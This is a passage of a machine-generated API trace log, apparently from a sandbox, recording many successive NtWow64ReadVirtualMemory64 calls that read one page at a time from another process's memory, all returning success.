returned 0x0 [0137.642] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07f6000, Buffer=0x7fff, BufferSize=0x2546000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.642] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07f7000, Buffer=0x7fff, BufferSize=0x2547000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.642] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07f8000, Buffer=0x7fff, BufferSize=0x2548000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.642] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07f9000, Buffer=0x7fff, BufferSize=0x2549000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.642] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07fa000, Buffer=0x7fff, BufferSize=0x254a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.643] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07fb000, Buffer=0x7fff, BufferSize=0x254b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.643] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07fc000, Buffer=0x7fff, BufferSize=0x254c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.643] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07fd000, Buffer=0x7fff, BufferSize=0x254d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.643] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07fe000, Buffer=0x7fff, BufferSize=0x254e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.643] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ff000, Buffer=0x7fff, BufferSize=0x254f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.643] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0800000, Buffer=0x7fff, BufferSize=0x2550000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.644] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0801000, Buffer=0x7fff, BufferSize=0x2551000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.644] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0802000, Buffer=0x7fff, BufferSize=0x2552000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.644] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0803000, Buffer=0x7fff, BufferSize=0x2553000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.644] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0804000, Buffer=0x7fff, BufferSize=0x2554000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.644] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0805000, Buffer=0x7fff, BufferSize=0x2555000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.644] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0806000, Buffer=0x7fff, BufferSize=0x2556000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.645] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0807000, Buffer=0x7fff, BufferSize=0x2557000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.645] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0808000, Buffer=0x7fff, BufferSize=0x2558000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.645] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0809000, Buffer=0x7fff, BufferSize=0x2559000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.645] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf080a000, Buffer=0x7fff, BufferSize=0x255a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.645] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf080b000, Buffer=0x7fff, BufferSize=0x255b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.645] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf080c000, Buffer=0x7fff, BufferSize=0x255c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.645] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf080d000, Buffer=0x7fff, BufferSize=0x255d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.646] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf080e000, Buffer=0x7fff, BufferSize=0x255e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.646] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf080f000, Buffer=0x7fff, BufferSize=0x255f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.646] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0810000, Buffer=0x7fff, BufferSize=0x2560000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.646] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0811000, Buffer=0x7fff, BufferSize=0x2561000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.646] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0812000, Buffer=0x7fff, BufferSize=0x2562000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.646] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0813000, Buffer=0x7fff, BufferSize=0x2563000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.647] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0814000, Buffer=0x7fff, BufferSize=0x2564000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.647] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0815000, Buffer=0x7fff, BufferSize=0x2565000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.647] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0816000, Buffer=0x7fff, BufferSize=0x2566000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.647] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0817000, Buffer=0x7fff, BufferSize=0x2567000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.647] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0818000, Buffer=0x7fff, BufferSize=0x2568000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.647] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0819000, Buffer=0x7fff, BufferSize=0x2569000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.709] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf081a000, Buffer=0x7fff, BufferSize=0x256a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.710] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf081b000, Buffer=0x7fff, BufferSize=0x256b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.710] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf081c000, Buffer=0x7fff, BufferSize=0x256c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.711] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf081d000, Buffer=0x7fff, BufferSize=0x256d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.711] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf081e000, Buffer=0x7fff, BufferSize=0x256e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.711] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf081f000, Buffer=0x7fff, BufferSize=0x256f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.712] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0820000, Buffer=0x7fff, BufferSize=0x2570000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.712] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0821000, Buffer=0x7fff, BufferSize=0x2571000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.712] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0822000, Buffer=0x7fff, BufferSize=0x2572000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.712] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0823000, Buffer=0x7fff, BufferSize=0x2573000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.713] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0824000, Buffer=0x7fff, BufferSize=0x2574000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.713] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0825000, Buffer=0x7fff, BufferSize=0x2575000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.713] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0826000, Buffer=0x7fff, BufferSize=0x2576000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.713] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0827000, Buffer=0x7fff, BufferSize=0x2577000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.713] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0828000, Buffer=0x7fff, BufferSize=0x2578000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.714] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0829000, Buffer=0x7fff, BufferSize=0x2579000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.714] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf082a000, Buffer=0x7fff, BufferSize=0x257a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.714] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf082b000, Buffer=0x7fff, BufferSize=0x257b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.714] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf082c000, Buffer=0x7fff, BufferSize=0x257c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.715] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf082d000, Buffer=0x7fff, BufferSize=0x257d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.715] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf082e000, Buffer=0x7fff, BufferSize=0x257e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.715] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf082f000, Buffer=0x7fff, BufferSize=0x257f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.715] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0830000, Buffer=0x7fff, BufferSize=0x2580000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.715] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0831000, Buffer=0x7fff, BufferSize=0x2581000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.716] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0832000, Buffer=0x7fff, BufferSize=0x2582000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.716] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0833000, Buffer=0x7fff, BufferSize=0x2583000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.716] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0834000, Buffer=0x7fff, BufferSize=0x2584000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.716] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0835000, Buffer=0x7fff, BufferSize=0x2585000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.716] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0836000, Buffer=0x7fff, BufferSize=0x2586000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.716] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0837000, Buffer=0x7fff, BufferSize=0x2587000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.717] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0838000, Buffer=0x7fff, BufferSize=0x2588000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.717] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0839000, Buffer=0x7fff, BufferSize=0x2589000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.717] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf083a000, Buffer=0x7fff, BufferSize=0x258a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.717] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf083b000, Buffer=0x7fff, BufferSize=0x258b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.717] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf083c000, Buffer=0x7fff, BufferSize=0x258c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.717] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf083d000, Buffer=0x7fff, BufferSize=0x258d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.718] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf083e000, Buffer=0x7fff, BufferSize=0x258e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.718] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf083f000, Buffer=0x7fff, BufferSize=0x258f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.718] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0840000, Buffer=0x7fff, BufferSize=0x2590000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.718] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0841000, Buffer=0x7fff, BufferSize=0x2591000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.718] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0842000, Buffer=0x7fff, BufferSize=0x2592000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.718] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0843000, Buffer=0x7fff, BufferSize=0x2593000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.719] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0844000, Buffer=0x7fff, BufferSize=0x2594000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.719] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0845000, Buffer=0x7fff, BufferSize=0x2595000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.719] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0846000, Buffer=0x7fff, BufferSize=0x2596000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.719] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0847000, Buffer=0x7fff, BufferSize=0x2597000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.719] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0848000, Buffer=0x7fff, BufferSize=0x2598000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.719] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0849000, Buffer=0x7fff, BufferSize=0x2599000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.719] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf084a000, Buffer=0x7fff, BufferSize=0x259a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.720] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf084b000, Buffer=0x7fff, BufferSize=0x259b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.720] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf084c000, Buffer=0x7fff, BufferSize=0x259c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.720] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf084d000, Buffer=0x7fff, BufferSize=0x259d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.720] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf084e000, Buffer=0x7fff, BufferSize=0x259e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.720] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf084f000, Buffer=0x7fff, BufferSize=0x259f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.720] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0850000, Buffer=0x7fff, BufferSize=0x25a0000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.721] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0851000, Buffer=0x7fff, BufferSize=0x25a1000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.721] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0852000, Buffer=0x7fff, BufferSize=0x25a2000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.721] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0853000, Buffer=0x7fff, BufferSize=0x25a3000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.721] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0854000, Buffer=0x7fff, BufferSize=0x25a4000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.721] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0855000, Buffer=0x7fff, BufferSize=0x25a5000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.721] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0856000, Buffer=0x7fff, BufferSize=0x25a6000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.721] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0857000, Buffer=0x7fff, BufferSize=0x25a7000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.722] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0858000, Buffer=0x7fff, BufferSize=0x25a8000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.722] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0859000, Buffer=0x7fff, BufferSize=0x25a9000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.722] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf085a000, Buffer=0x7fff, BufferSize=0x25aa000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.722] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf085b000, Buffer=0x7fff, BufferSize=0x25ab000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.722] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf085c000, Buffer=0x7fff, BufferSize=0x25ac000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.722] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf085d000, Buffer=0x7fff, BufferSize=0x25ad000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.722] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf085e000, Buffer=0x7fff, BufferSize=0x25ae000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.723] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf085f000, Buffer=0x7fff, BufferSize=0x25af000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.723] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0860000, Buffer=0x7fff, BufferSize=0x25b0000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.723] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0861000, Buffer=0x7fff, BufferSize=0x25b1000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.723] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0862000, Buffer=0x7fff, BufferSize=0x25b2000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.723] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0863000, Buffer=0x7fff, BufferSize=0x25b3000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.723] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0864000, Buffer=0x7fff, BufferSize=0x25b4000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.724] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0865000, Buffer=0x7fff, BufferSize=0x25b5000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.724] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0866000, Buffer=0x7fff, BufferSize=0x25b6000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.724] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0867000, Buffer=0x7fff, BufferSize=0x25b7000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.724] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0868000, Buffer=0x7fff, BufferSize=0x25b8000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.724] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0869000, Buffer=0x7fff, BufferSize=0x25b9000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) 